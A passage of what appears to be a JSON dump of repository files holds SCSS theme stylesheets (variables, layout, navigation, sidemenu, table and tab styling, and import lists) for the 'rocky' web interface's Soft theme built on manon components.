--section-content-wrapper-padding-bottom: 0;\n  --section-content-wrapper-padding-left: 0;\n}\n\nbody {\n  > header {\n    @media screen and (min-width: $grid-m) {\n      nav,\n      nav.breadcrumb-bar {\n        padding-bottom: 0;\n        padding-top: 0;\n\n        > div {\n          padding-right: var(--page-whitespace-right-grid-m);\n          padding-left: var(--page-whitespace-left-grid-m);\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/layout.scss",
    "content": "/* Layout - Variables */\n\n:root {\n  --layout-block-gap: 3rem;\n  --layout-base-max-width: 80rem;\n  --layout-base-content-block-gap: 1.5rem;\n  --layout-base-main-padding-top: 5rem;\n  --layout-footer-block-max-width: var(--layout-base-max-width);\n  --layout-footer-content-block-gap: var(--layout-base-content-block-gap);\n  --layout-header-gap: 0;\n  --layout-header-padding-top: var(--layout-base-padding-top);\n  --layout-header-padding-bottom: var(--layout-base-padding-bottom);\n  --layout-header-padding-left: var(--layout-base-padding-left);\n  --layout-header-block-max-width: var(--layout-base-max-width);\n  --layout-main-gap: var(--layout-block-gap);\n  --layout-main-first-padding-top: 5rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/link.scss",
    "content": "/* Link - Variables */\n\n:root {\n  --link-text-decoration: underline;\n  --link-font-weight: normal;\n}\n\na {\n  text-decoration-thickness: 0.045rem;\n\n  &:hover {\n    color: var(--colors-blue-700);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/login-meta.scss",
    "content": "/* Login meta - Variables */\n\n:root {\n  --login-meta-background-color: var(--colors-grey-100);\n  --login-meta-color: var(--application-base-text-color);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/logo.scss",
    "content": "/* Logo - Variables */\n\n:root {\n  --logo-background-color: var(--colors-black);\n  --logo-border-radius: 50%;\n  --logo-margin: 0;\n}\n\n.logo,\na.logo,\na:visited.logo,\na:hover.logo {\n  align-self: center;\n  border: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/main.scss",
    "content": "/* Main content wrapper - Variables */\n\n:root {\n  --main-padding-top: 0;\n  --main-padding-right: var(--page-whitespace-right);\n  --main-padding-bottom: 0;\n  --main-padding-left: var(--page-whitespace-left);\n  --main-gap: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/manon-variables.scss",
    "content": "/* theme: KAT Soft based on manon components */\n:root {\n  --icon-font-family: \"tabler-icons\";\n  --section-title-margin: var(--layout-base-content-block-title-margin);\n  --section-subtitle-margin: var(--layout-base-content-block-subtitle-margin);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/max-line-length.scss",
    "content": "/* Max line length - Variables */\n\n:root {\n  --max-line-length-max-width: 40rem;\n  --h1-max-line-length-max-width: 85rem;\n  --h2-max-line-length-max-width: 68rem;\n  --h3-max-line-length-max-width: 60rem;\n  --h4-max-line-length-max-width: 51rem;\n  --h5-max-line-length-max-width: 39rem;\n  --h6-max-line-length-max-width: 34rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/navigation-collapsible.scss",
    "content": "/* Navigation collapsible menu - Variables */\n\n:root {\n  --navigation-collapsible-menu-collapsing-menu-list-item-link-hover-background-color: var(\n    --colors-grey-100\n  );\n}\n\nbody > header nav.collapsible-menu .collapsing-menu {\n  ul,\n  ol {\n    border: 1px solid var(--colors-grey-100);\n    background-color: var(--colors-white);\n\n    a[aria-current] {\n      background-color: var(--colors-white);\n      font-weight: bold;\n\n      &::before {\n        content: \"\\ea5e\";\n        font-family: var(--language-selector-list-button-icon-font-family);\n        margin-left: var(--language-selector-list-button-icon-margin-left);\n        font-size: var(--language-selector-list-button-icon-font-size);\n        color: var(--language-selector-list-button-icon-text-color);\n        margin-right: 0.5rem;\n      }\n    }\n  }\n\n  > div {\n    background-color: var(--colors-white);\n    width: 100%;\n    display: flex;\n    flex-direction: column;\n    align-items: flex-start;\n    padding: 1rem 0;\n    gap: 0.25rem;\n    box-sizing: border-box;\n\n    .language-selector {\n      padding: 0 2rem;\n      display: flex;\n      justify-content: stretch;\n      align-items: center;\n      min-height: 3rem;\n      background-color: var(--colors-white);\n      width: 100%;\n      box-sizing: border-box;\n      order: 1;\n\n      .language-selector-options {\n        width: 100%;\n      }\n\n      button {\n        width: 100%;\n        display: flex;\n        justify-content: space-between;\n      }\n    }\n\n    ul,\n    ol {\n      border: 0;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/navigation.scss",
    "content": "/* Navigation - Variables */\n\n:root {\n  /* nav */\n  --navigation-gap: 1rem;\n  --navigation-align-content: flex-start;\n  --navigation-list-gap: var(--navigation-gap);\n  --navigation-link-text-decoration: none;\n  --navigation-link-hover-text-decoration: none;\n  --navigation-background-color: var(--application-base-background-color);\n  --navigation-text-color: var(--application-base-text-color);\n  --header-navigation-padding-right: 0;\n  --header-navigation-padding-left: 0;\n\n  /* Collapsing menu */\n  --navigation-collapsible-menu-collapsing-menu-width: 100%;\n  --navigation-collapsible-menu-list-item-collapsed-hover-background-color: var(\n    --application-base-text-color\n  );\n\n  /* Collapsing menu item */\n\n  --navigation-collapsible-menu-collapsing-menu-list-item-border-width: 0;\n  --navigation-collapsible-menu-collapsing-menu-list-item-last-item-border-width: 0;\n\n  /* Menu toggle icon */\n  --navigation-collapsible-menu-icon-font-size: 1.5rem;\n}\n\nbody > header nav.collapsible-menu button.menu-toggle {\n  min-width: 2.75rem;\n\n  &:hover,\n  &:active,\n  &:focus {\n    background-color: transparent;\n  }\n}\n\n.collapsible-menu .collapsing-menu {\n  box-shadow: 0 8px 16px 0 rgb(17 20 22 / 15%);\n\n  ul {\n    li {\n      box-sizing: border-box;\n      border: 0;\n\n      a {\n        min-height: 3rem;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/nota-bene.scss",
    "content": "/* Nota bene */\n\n:root {\n  --nota-bene-text-color: var(--colors-grey-600);\n  --nota-bene-font-weight: normal;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/notification-block.scss",
    "content": "/* Notification block - Variables */\n\n:root {\n  --notification-block-element-padding-top: var(--spacing-grid-300);\n  --notification-block-element-padding-right: var(--spacing-grid-200);\n  --notification-block-element-padding-left: var(--spacing-grid-200);\n  --notification-block-element-padding-bottom: var(--spacing-grid-300);\n  --notification-block-element-gap: 0.5rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/notification-colors.scss",
    "content": "/* Notification colors */\n\n:root {\n  --error-background-color: var(--colors-red-100);\n  --error-text-color: var(--colors-grey-900);\n  --error-border-color: var(--colors-black-10);\n  --explanation-background-color: var(--colors-blue-100);\n  --explanation-text-color: var(--colors-grey-900);\n  --explanation-border-color: var(--colors-black-10);\n  --warning-background-color: var(--colors-ochre-50);\n  --warning-text-color: var(--colors-grey-900);\n  --warning-border-color: var(--colors-black-10);\n  --confirmation-background-color: var(--colors-green-100);\n  --confirmation-text-color: var(--colors-grey-900);\n  --confirmation-border-color: var(--colors-black-10);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/notification-paragraph.scss",
    "content": "/* Notification paragraph - Variables */\n\n:root {\n  --notification-paragraph-padding-top: var(--spacing-grid-200);\n  --notification-paragraph-padding-right: var(--spacing-grid-200);\n  --notification-paragraph-padding-bottom: var(--spacing-grid-200);\n  --notification-paragraph-padding-left: var(--spacing-grid-600);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/section-content-wrapper.scss",
    "content": "/* Section content wrapper - Variables */\n\n:root {\n  --section-content-wrapper-padding-top: var(--content-nested-padding-top);\n  --section-content-wrapper-padding-bottom: var(\n    --content-nested-padding-bottom\n  );\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/section.scss",
    "content": "/* Section content wrapper - Variables */\n\n:root {\n  --section-padding-top: var(--content-padding-top);\n  --section-padding-bottom: var(--content-padding-bottom);\n}\n\nbody > main > section {\n  @media screen and (min-width: $grid-m) {\n    padding-right: var(--page-whitespace-right-grid-m);\n    padding-left: var(--page-whitespace-left-grid-m);\n  }\n\n  @media screen and (min-width: $grid-l) {\n    padding-right: var(--page-whitespace-right-grid-l);\n    padding-left: var(--page-whitespace-left-grid-l);\n  }\n\n  @media screen and (min-width: $grid-xl) {\n    padding-right: var(--page-whitespace-right-grid-xl);\n    padding-left: var(--page-whitespace-left-grid-xl);\n  }\n\n  @media screen and (min-width: $grid-xxl) {\n    padding-right: var(--page-whitespace-right-grid-xxl);\n    padding-left: var(--page-whitespace-left-grid-xxl);\n  }\n\n  &.dividing-line {\n    border-top: 1px solid var(--colors-grey-200);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/sidemenu.scss",
    "content": "/* Sidemenu - Variables */\n\n@use \"@minvws/manon/mixins/icon\";\n\n:root {\n  --sidemenu-nav-padding-right: 2rem;\n  --sidemenu-nav-padding-left: 2rem;\n  --sidemenu-nav-width: 19rem;\n}\n\nmain.sidemenu {\n  --sidemenu-nav-padding-bottom: 6rem;\n\n  position: relative;\n  align-items: stretch;\n  padding-left: var(--sidemenu-nav-padding-left);\n\n  @media (width >= 42rem) {\n    padding-left: var(--sidemenu-nav-width);\n  }\n\n  /* Transition */\n  transition: padding-left 1s;\n\n  .sticky-container {\n    /* Behaviour */\n    position: sticky;\n    top: 0;\n    z-index: 1;\n\n    > nav {\n      display: flex;\n      flex-direction: column;\n      gap: 1rem;\n      left: 0;\n      width: var(--sidemenu-nav-width);\n      padding-top: var(--sidemenu-nav-padding-top);\n      padding-right: 0;\n      position: absolute;\n      padding-bottom: 0;\n      padding-left: var(--sidemenu-nav-padding-left);\n      box-sizing: border-box;\n      background-color: var(--colors-white);\n      border-right: 1px solid var(--sidemenu-nav-border-color);\n      height: 100%;\n      z-index: 1;\n\n      @media (width >= 42rem) {\n        left: calc(var(--sidemenu-nav-width) * -1);\n      }\n\n      /* Transition */\n      transition: all 1s;\n\n      /* Behaviour */\n      overflow: auto;\n\n      ol,\n      ul {\n        padding-left: 0;\n        list-style-position: inside;\n\n        li {\n          --list-base-item-padding: 0.75rem 0;\n\n          a,\n          a:visited,\n          a:focus,\n          a:active {\n            color: var(--application-base-text-color);\n            text-decoration: none;\n          }\n\n          &.object {\n            a,\n            a:visited,\n            a:focus,\n            a:active {\n              color: var(--application-base-text-color);\n              text-decoration: none;\n              font-style: italic;\n              word-break: break-all;\n            }\n          }\n        }\n      }\n\n      /* Menu button */\n      .sidemenu-toggle {\n        --sidemenu-button-icon-font-family: var(--icon-font-family);\n        --sidemenu-expanded-button-icon: \"\\ec42\";\n        --sidemenu-collapsed-button-icon: \"\\ec42\";\n\n        /* Layout */\n        display: flex;\n        align-items: center;\n        justify-content: center;\n        gap: 0;\n        min-width: var(--sidemenu-toggle-button-min-width);\n        min-height: var(--sidemenu-toggle-button-min-height);\n        margin-left: -1rem;\n        padding-top: 0;\n        padding-right: 0;\n        padding-bottom: 0;\n        padding-left: 0;\n        background-color: rgb(255 255 255 / 75%);\n\n        /* Needed to keep the button to stick to the top */\n        z-index: 2;\n\n        /* Styling */\n        font-size: var(--sidemenu-toggle-button-font-size);\n        border: 0;\n        border-radius: 0;\n        color: var(--application-base-text-color);\n\n        /* Transition */\n        transition: margin-left 1s;\n\n        &::before {\n          @include icon.icon;\n\n          line-height: 1;\n          content: var(--sidemenu-expanded-button-icon);\n          font-family: var(--sidemenu-button-icon-font-family);\n          font-size: var(--sidemenu-button-icon-font-size);\n\n          /* Styling options for text input instead of icons */\n          font-weight: var(--sidemenu-button-icon-font-weight);\n          white-space: var(--sidemenu-button-icon-white-space);\n        }\n\n        &[aria-expanded=\"false\"] {\n          margin-left: calc(var(--sidemenu-nav-width) - 1rem);\n          transition: margin-left 1s;\n\n          &::before {\n            content: var(--sidemenu-collapsed-button-icon);\n          }\n        }\n\n        @media (width >= 55rem) {\n          position: static;\n        }\n      }\n    }\n  }\n\n  &.sidemenu-closed {\n    padding-left: 0;\n\n    /* Transition */\n    transition: padding-left 1s;\n\n    .sticky-container > nav {\n      position: absolute;\n      border-right: 1px solid var(--colors-grey-200);\n\n      /* Needed to show the button */\n      overflow: visible;\n\n      /* Move outside of the screen according to the size of the menu */\n      left: calc(var(--sidemenu-nav-width) * -1);\n\n      @media (width >= 55rem) {\n        /* Layout */\n        display: flex;\n        flex-direction: column;\n        gap: 1rem;\n        height: 100%;\n        width: var(--sidemenu-nav-width);\n        padding-top: var(--sidemenu-nav-padding-top);\n        padding-right: var(--sidemenu-nav-padding-right);\n        padding-bottom: 0;\n        padding-left: var(--sidemenu-nav-padding-left);\n        box-sizing: border-box;\n      }\n\n      > div {\n        overflow: hidden;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/spacing.scss",
    "content": "/* Heading set basic - Variables */\n\n:root {\n  --spacing-grid-0: 0;\n  --spacing-grid-025: 0.125rem;\n  --spacing-grid-050: 0.25rem;\n  --spacing-grid-075: 0.065rem;\n  --spacing-grid-100: 0.5rem;\n  --spacing-grid-150: 0.75rem;\n  --spacing-grid-200: 1rem;\n  --spacing-grid-250: 1.25rem;\n  --spacing-grid-300: 1.5rem;\n  --spacing-grid-350: 1.75rem;\n  --spacing-grid-400: 2rem;\n  --spacing-grid-500: 2.5rem;\n  --spacing-grid-600: 3rem;\n  --spacing-grid-800: 4rem;\n  --spacing-grid-1000: 5rem;\n  --spacing-grid-1600: 8rem;\n  --spacing-grid-2400: 12rem;\n}\n\n.spacing-grid-0 {\n  gap: var(--spacing-grid-0);\n}\n\n.spacing-grid-025 {\n  gap: var(--spacing-grid-025);\n}\n\n.spacing-grid-050 {\n  gap: var(--spacing-grid-050);\n}\n\n.spacing-grid-075 {\n  gap: var(--spacing-grid-075);\n}\n\n.spacing-grid-100 {\n  gap: var(--spacing-grid-100);\n}\n\n.spacing-grid-150 {\n  gap: var(--spacing-grid-150);\n}\n\n.spacing-grid-200 {\n  gap: var(--spacing-grid-200);\n}\n\n.spacing-grid-250 {\n  gap: var(--spacing-grid-250);\n}\n\n.spacing-grid-300 {\n  gap: var(--spacing-grid-300);\n}\n\n.spacing-grid-350 {\n  gap: var(--spacing-grid-350);\n}\n\n.spacing-grid-400 {\n  gap: var(--spacing-grid-400);\n}\n\n.spacing-grid-500 {\n  gap: var(--spacing-grid-500);\n}\n\n.spacing-grid-600 {\n  gap: var(--spacing-grid-600);\n}\n\n.spacing-grid-800 {\n  gap: var(--spacing-grid-800);\n}\n\n.spacing-grid-1000 {\n  gap: var(--spacing-grid-1000);\n}\n\n.spacing-grid-1600 {\n  gap: var(--spacing-grid-1600);\n}\n\n.spacing-grid-2400 {\n  gap: var(--spacing-grid-2400);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/spot-large.scss",
    "content": ":root {\n  /* Color sets */\n  --link-text-color: #006fb3;\n  --link-hover-text-color: #005c94;\n  --link-visited-text-color: #5b109f;\n  --link-visited-hover-text-color: #430e73;\n\n  /* Spot large */\n\n  /* Main colors */\n\n  /* Lavender */\n  --branding-color-1: var(--colors-purrple-100);\n\n  /* Bright yellow */\n  --branding-color-2: var(--colors-yellow-200);\n\n  /* Accent colors */\n\n  /* Dark grey */\n  --branding-color-accent-1: var(--text-color-dark);\n\n  /* Bright blue */\n  --branding-color-accent-2: #007ebb;\n\n  /* Bright green */\n  --branding-color-accent-3: #4cba51;\n\n  /* Bright orange */\n  --branding-color-accent-4: #f58900;\n\n  /* Salmon */\n  --branding-color-accent-5: #fe7e6d;\n\n  /* Branding color combinations.\n  e.g if a branding color is used as a background-color. What should the text\n  and link colors be.\n\n  /* Branding color 1 */\n  --branding-color-1-background-color: var(--branding-color-1);\n  --branding-color-1-text-color: var(--text-color-dark);\n  --branding-color-1-link-text-color: var(--branding-color-1-text-color);\n  --branding-color-1-link-active-text-color: var(--branding-color-1-text-color);\n  --branding-color-1-link-visited-text-color: var(\n    --branding-color-1-text-color\n  );\n  --branding-color-1-link-hover-text-color: var(--branding-color-1-text-color);\n  --branding-color-1-link-visited-hover-text-color: var(\n    --branding-color-1-text-color\n  );\n  --branding-color-1-darker: var(--colors-purrple-10);\n\n  /* Branding color 2 */\n  --branding-color-2-background-color: var(--branding-color-2);\n  --branding-color-2-text-color: var(--text-color-dark);\n  --branding-color-2-link-text-color: var(--branding-color-2-text-color);\n  --branding-color-2-link-active-text-color: var(--branding-color-2-text-color);\n  --branding-color-2-link-visited-text-color: var(\n    --branding-color-2-text-color\n  );\n  --branding-color-2-link-hover-text-color: var(--branding-color-2-text-color);\n  --branding-color-2-link-visited-hover-text-color: var(\n    --branding-color-2-text-color\n  );\n\n  /* Accent color 1 */\n  --branding-color-accent-1-background-color: var(--branding-color-accent-1);\n  --branding-color-accent-1-text-color: white;\n  --branding-color-accent-1-link-text-color: var(\n    --branding-color-accent-1-text-color\n  );\n  --branding-color-accent-1-link-active-text-color: var(\n    --branding-color-accent-1-text-color\n  );\n  --branding-color-accent-1-link-visited-text-color: var(\n    --branding-color-accent-1-text-color\n  );\n  --branding-color-accent-1-link-hover-text-color: var(\n    --branding-color-accent-1-text-color\n  );\n  --branding-color-accent-1-link-visited-hover-text-color: var(\n    --branding-color-accent-1-text-color\n  );\n\n  /* Accent color 2 */\n  --branding-color-accent-2-background-color: var(--branding-color-accent-2);\n  --branding-color-accent-2-text-color: white;\n  --branding-color-accent-2-link-text-color: var(\n    --branding-color-accent-2-text-color\n  );\n  --branding-color-accent-2-link-active-text-color: var(\n    --branding-color-accent-2-text-color\n  );\n  --branding-color-accent-2-link-visited-text-color: var(\n    --branding-color-accent-2-text-color\n  );\n  --branding-color-accent-2-link-hover-text-color: var(\n    --branding-color-accent-2-text-color\n  );\n  --branding-color-accent-2-link-visited-hover-text-color: var(\n    --branding-color-accent-2-text-color\n  );\n\n  /* Accent color 3 */\n  --branding-color-accent-3-background-color: var(--branding-color-accent-3);\n  --branding-color-accent-3-text-color: white;\n  --branding-color-accent-3-link-text-color: var(\n    --branding-color-accent-3-text-color\n  );\n  --branding-color-accent-3-link-active-text-color: var(\n    --branding-color-accent-3-text-color\n  );\n  --branding-color-accent-3-link-visited-text-color: var(\n    --branding-color-accent-3-text-color\n  );\n  --branding-color-accent-3-link-hover-text-color: var(\n    --branding-color-accent-3-text-color\n  );\n  --branding-color-accent-3-link-visited-hover-text-color: var(\n    --branding-color-accent-3-text-color\n  );\n\n  /* Accent color 4 */\n  --branding-color-accent-4-background-color: var(--branding-color-accent-4);\n  --branding-color-accent-4-text-color: white;\n  --branding-color-accent-4-link-text-color: var(\n    --branding-color-accent-4-text-color\n  );\n  --branding-color-accent-4-link-active-text-color: var(\n    --branding-color-accent-4-text-color\n  );\n  --branding-color-accent-4-link-visited-text-color: var(\n    --branding-color-accent-4-text-color\n  );\n  --branding-color-accent-4-link-hover-text-color: var(\n    --branding-color-accent-4-text-color\n  );\n  --branding-color-accent-4-link-visited-hover-text-color: var(\n    --branding-color-accent-4-text-color\n  );\n\n  /* Accent color 5 */\n  --branding-color-accent-5-background-color: var(--branding-color-accent-5);\n  --branding-color-accent-5-text-color: white;\n  --branding-color-accent-5-link-text-color: var(\n    --branding-color-accent-5-text-color\n  );\n  --branding-color-accent-5-link-active-text-color: var(\n    --branding-color-accent-5-text-color\n  );\n  --branding-color-accent-5-link-visited-text-color: var(\n    --branding-color-accent-5-text-color\n  );\n  --branding-color-accent-5-link-hover-text-color: var(\n    --branding-color-accent-5-text-color\n  );\n  --branding-color-accent-5-link-visited-hover-text-color: var(\n    --branding-color-accent-5-text-color\n  );\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/table.scss",
    "content": "/* Table - Variables */\n\n:root {\n  /* Base */\n  --table-background-color: var(--colors-white);\n  --table-text-color: var(--application-base-text-color);\n  --table-text-align: left;\n\n  /* Table header */\n  --table-head-background-color: var(--colors-white);\n  --table-head-border-width: 0 0 2px 0;\n  --table-head-border-style: solid;\n  --table-head-border-color: var(--colors-purrple-400);\n\n  /* Table row */\n  --table-row-background-color-striping: transparent;\n\n  /* th */\n  --table-head-cell-font-size: 1rem;\n\n  /* Table body header */\n  --table-body-head-cell-border-width: 0;\n  --table-body-head-cell-background-color: transparent;\n\n  /* Table cell */\n  --table-cell-border-width: 0 0 1px 0;\n  --table-cell-border-style: solid;\n  --table-cell-border-color: var(--colors-grey-200);\n  --table-cell-padding: 0.5rem 1rem;\n  --table-cells-padding: 0.25rem 1rem;\n\n  /* Actions */\n  --table-action-buttons-button-font-size: var(--icon-font-size);\n  --table-action-buttons-button-text-color: var(--link-text-color);\n  --table-action-buttons-button-hover-text-color: var(--link-text-color);\n\n  /* Table footer */\n  --table-foot-background-color: var(--colors-white);\n  --table-foot-font-weight: 600;\n  --table-foot-font-size: var(--table-font-size);\n  --table-foot-border-width: 2px 0 0 0;\n  --table-foot-border-color: var(--colors-purrple-400);\n}\n\n%tfoot-td-styling {\n  background-color: var(--table-foot-background-color);\n  border-bottom: 0;\n\n  a,\n  a:visited,\n  a:focus,\n  a:hover {\n    color: var(--application-base-text-color);\n    text-decoration: none;\n  }\n}\n\ntable {\n  td {\n    &.confirmation,\n    &.explanation,\n    &.error,\n    &.system,\n    &.warning {\n      border-width: 0 0 1px;\n    }\n  }\n\n  tfoot {\n    tr {\n      td {\n        @extend %tfoot-td-styling;\n      }\n\n      &:last-of-type td {\n        @extend %tfoot-td-styling;\n      }\n    }\n  }\n}\n\ntable.action-buttons .actions {\n  a,\n  a.button,\n  button {\n    &.icon::before {\n      font-weight: normal;\n    }\n\n    margin: 0 auto;\n  }\n}\n\ntable .actions {\n  padding: 0;\n  text-align: center;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/tabs.scss",
    "content": "/* Tabs - Variables */\n\n:root {\n  --tabs-border-width: 0;\n\n  /* Tab */\n  --tabs-border-color: var(--colors-grey-200);\n  --tabs-item-text-color: var(--application-base-text-color);\n\n  /* Active tab */\n  --tabs-item-active-text-color: var(--application-base-text-color);\n  --tabs-item-active-border-color: var(--colors-purrple-400);\n  --tabs-item-active-hover-border-color: var(--colors-purrple-400);\n  --tabs-item-active-hover-text-color: var(--application-base-text-color);\n  --tabs-item-active-border-width: 0 0 4px 0;\n\n  /* Hover */\n  --tabs-item-hover-border-width: 0 0 4px 0;\n  --tabs-item-hover-border-color: var(--colors-grey-200);\n}\n\n.tabs ul li > a:focus,\nul.tabs li > a:focus {\n  border: 0 0 4px 0;\n  border-color: var(--colors-purrple-400);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/tags.scss",
    "content": "/* Tags - Variables */\n\n:root {\n  --tag-font-size: var(--body-text-small-font-size);\n  --tag-font-weight: bold;\n}\n\nul {\n  &.tags {\n    display: inline-flex;\n    flex-direction: row;\n    flex-wrap: wrap;\n    gap: 0.5rem;\n    padding: 0;\n\n    li {\n      border: none;\n      padding: 0;\n\n      label {\n        margin-right: 0.5rem;\n      }\n\n      span {\n        padding: var(--tag-padding);\n        border-radius: var(--tag-border-radius);\n        line-height: var(--tag-line-height);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/text-colors.scss",
    "content": "/* Text colors */\n\n:root {\n  --text-color-dark: var(--colors-grey-900);\n  --text-color-light: var(--colors-white);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/tile.scss",
    "content": "/* Tile - Variables */\n\n:root {\n  --tile-background-color: var(--colors-white);\n  --tile-gap: var(--spacing-grid-100);\n  --tile-font-size: var(--body-text-small-font-size);\n  --tile-border-radius: 12px;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/report.scss",
    "content": "/* theme: Soft */\n\n/* Fonts */\n@import \"fonts/fonts\";\n\n/* Styling sets. E.g color sets */\n@import \"fundamentals/colors\";\n@import \"fundamentals/body-text-set\";\n\n/* Branding colors */\n@import \"manon/headings-base-set\";\n\n/* Layout */\n@import \"manon/layout-set\";\n@import \"manon/section\";\n\n/* Manon variables */\n@import \"manon/manon-variables\";\n\n/* Base components */\n@import \"manon/table\";\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/soft.scss",
    "content": "/* theme: Soft */\n\n/* Fonts */\n@import \"fonts/fonts\";\n\n/* Styling sets. E.g color sets */\n@import \"fundamentals/body-text-set\";\n@import \"fundamentals/border-radii\";\n@import \"fundamentals/colors\";\n@import \"fundamentals/tag-colors\";\n@import \"fundamentals/tags-6-3\";\n@import \"manon/spot-large\";\n@import \"manon/headings-base-set\";\n@import \"manon/text-colors\";\n@import \"manon/headings\";\n\n/* Defining available heading styles */\n@import \"manon/spacing\";\n\n/* Base - Top level styling */\n@import \"manon/application-base\";\n\n/* Layout */\n@import \"manon/layout-set\";\n@import \"manon/main\";\n@import \"manon/section\";\n@import \"manon/section-content-wrapper\";\n@import \"manon/article\";\n@import \"manon/article-content-wrapper\";\n\n/* Manon variables */\n@import \"manon/manon-variables\";\n\n/* Base components */\n@import \"manon/button\";\n@import \"manon/table\";\n@import \"manon/footer\";\n@import \"manon/form\";\n\n/* Button */\n@import \"manon/button-icon\";\n@import \"manon/button-destructive\";\n\n/* Components */\n@import \"manon/accordion\";\n@import \"manon/breadcrumb-bar\";\n@import \"manon/button-ghost\";\n@import \"manon/checkbox\";\n@import \"manon/collapsible\";\n@import \"manon/code-base\";\n@import \"manon/code-block\";\n@import \"manon/de-emphasized\";\n@import \"manon/emphasized\";\n@import \"manon/expando-rows\";\n@import \"manon/collapsing-element\";\n@import \"manon/filter\";\n@import \"manon/header-navigation\";\n@import \"manon/header-navigation-content-wrapper\";\n@import \"manon/header-navigation-collapsible\";\n@import \"manon/header-navigation-link\";\n@import \"manon/header-navigation-link-active\";\n@import \"manon/notification-colors\";\n@import \"manon/notification-block\";\n@import \"manon/notification-paragraph\";\n@import \"manon/icon\";\n@import \"manon/layout-column-4\";\n@import \"manon/layout-form\";\n@import \"manon/max-line-length\";\n@import \"manon/description-list\";\n@import \"manon/form-fieldset\";\n@import \"manon/form-radio\";\n@import \"manon/form-help\";\n@import \"manon/form-inline\";\n@import \"manon/form-button\";\n@import \"manon/layout\";\n@import \"manon/login-meta\";\n@import \"manon/logo\";\n@import \"manon/link\";\n@import \"manon/navigation\";\n@import \"manon/nota-bene\";\n@import \"manon/tabs\";\n@import \"manon/tags\";\n@import \"manon/sidemenu\";\n@import \"manon/hero\";\n@import \"manon/tile\";\n@import \"manon/language-selector-list\";\n@import \"manon/image-square\";\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/graph-override.scss",
    "content": ".graph-d3 {\n  margin: 0 !important; /* Overwriting default margin to fit our layout */\n  overflow: hidden;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/button-icon-only.scss",
    "content": "button,\na.button,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"] {\n  &.icon-only {\n    &:hover {\n      background-color: var(--colors-grey-100);\n    }\n\n    &::before {\n      color: var(--link-text-color);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/display-toggle.scss",
    "content": ".toolbar:has(.checkbox > .display-toggle) + .plugins .plugin-is-enabled {\n  display: none;\n}\n\n.toolbar:has(.checkbox > .display-toggle:checked)\n  + .plugins\n  .plugin-is-enabled {\n  display: flex;\n}\n\n// // If overflow limit is active, overflow items should always be hidden.\n// // !important is used to make sure we override the show/hide toggle of the .display-toggle checkbox above.\n.hide-overflow div:nth-of-type(1n + 5) {\n  display: none !important;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/dl.scss",
    "content": "/* DL - Variables */\nmain {\n  div,\n  section,\n  article {\n    dl {\n      dt {\n        @media (width >=24rem) {\n          width: 33.33%;\n        }\n      }\n\n      dd {\n        @media (width >=24rem) {\n          width: 66.66%;\n        }\n      }\n\n      > div {\n        padding: 0;\n\n        @media (width >=24rem) {\n          flex-wrap: nowrap;\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/form-fieldset-required.scss",
    "content": "/* Form fieldset required */\n\nform.horizontal-view div.required {\n  --nota-bene-height: calc(\n    var(--form-horizontal-view-fieldset-nota-bene-required-margin-bottom) +\n      1.75rem /* Nota bene line height */\n  );\n  --input-height-quarter: calc(var(--form-input-min-height) * 0.25);\n\n  label {\n    margin-top: calc(var(--nota-bene-height) + var(--input-height-quarter));\n  }\n\n  select + div + .help-button {\n    margin-top: 2rem;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/form-radio.scss",
    "content": "/* Form radio */\n\nform input[type=\"radio\"] {\n  margin: var(--form-radio-margin);\n\n  & + label {\n    font-weight: normal;\n  }\n}\n\nform label:has(input[type=\"radio\"]) {\n  font-weight: normal;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/image-square.scss",
    "content": "/* Image square */\n\n.image-square {\n  width: 100%;\n  max-width: 15rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/layout-fifty-fifty.scss",
    "content": "/* layout-fifty-fifty */\n$breakpoint: 42rem !default;\n\nsection,\narticle,\nfooter,\ndiv,\nheader nav {\n  &.fifty-fifty {\n    @media (min-width: $breakpoint) {\n      gap: var(--layout-fifty-fifty-breakpoint-gap);\n\n      > * {\n        max-width: calc(50% - (var(--layout-fifty-fifty-gap) / 2));\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/vendor_overrides/manon/layout-form.scss",
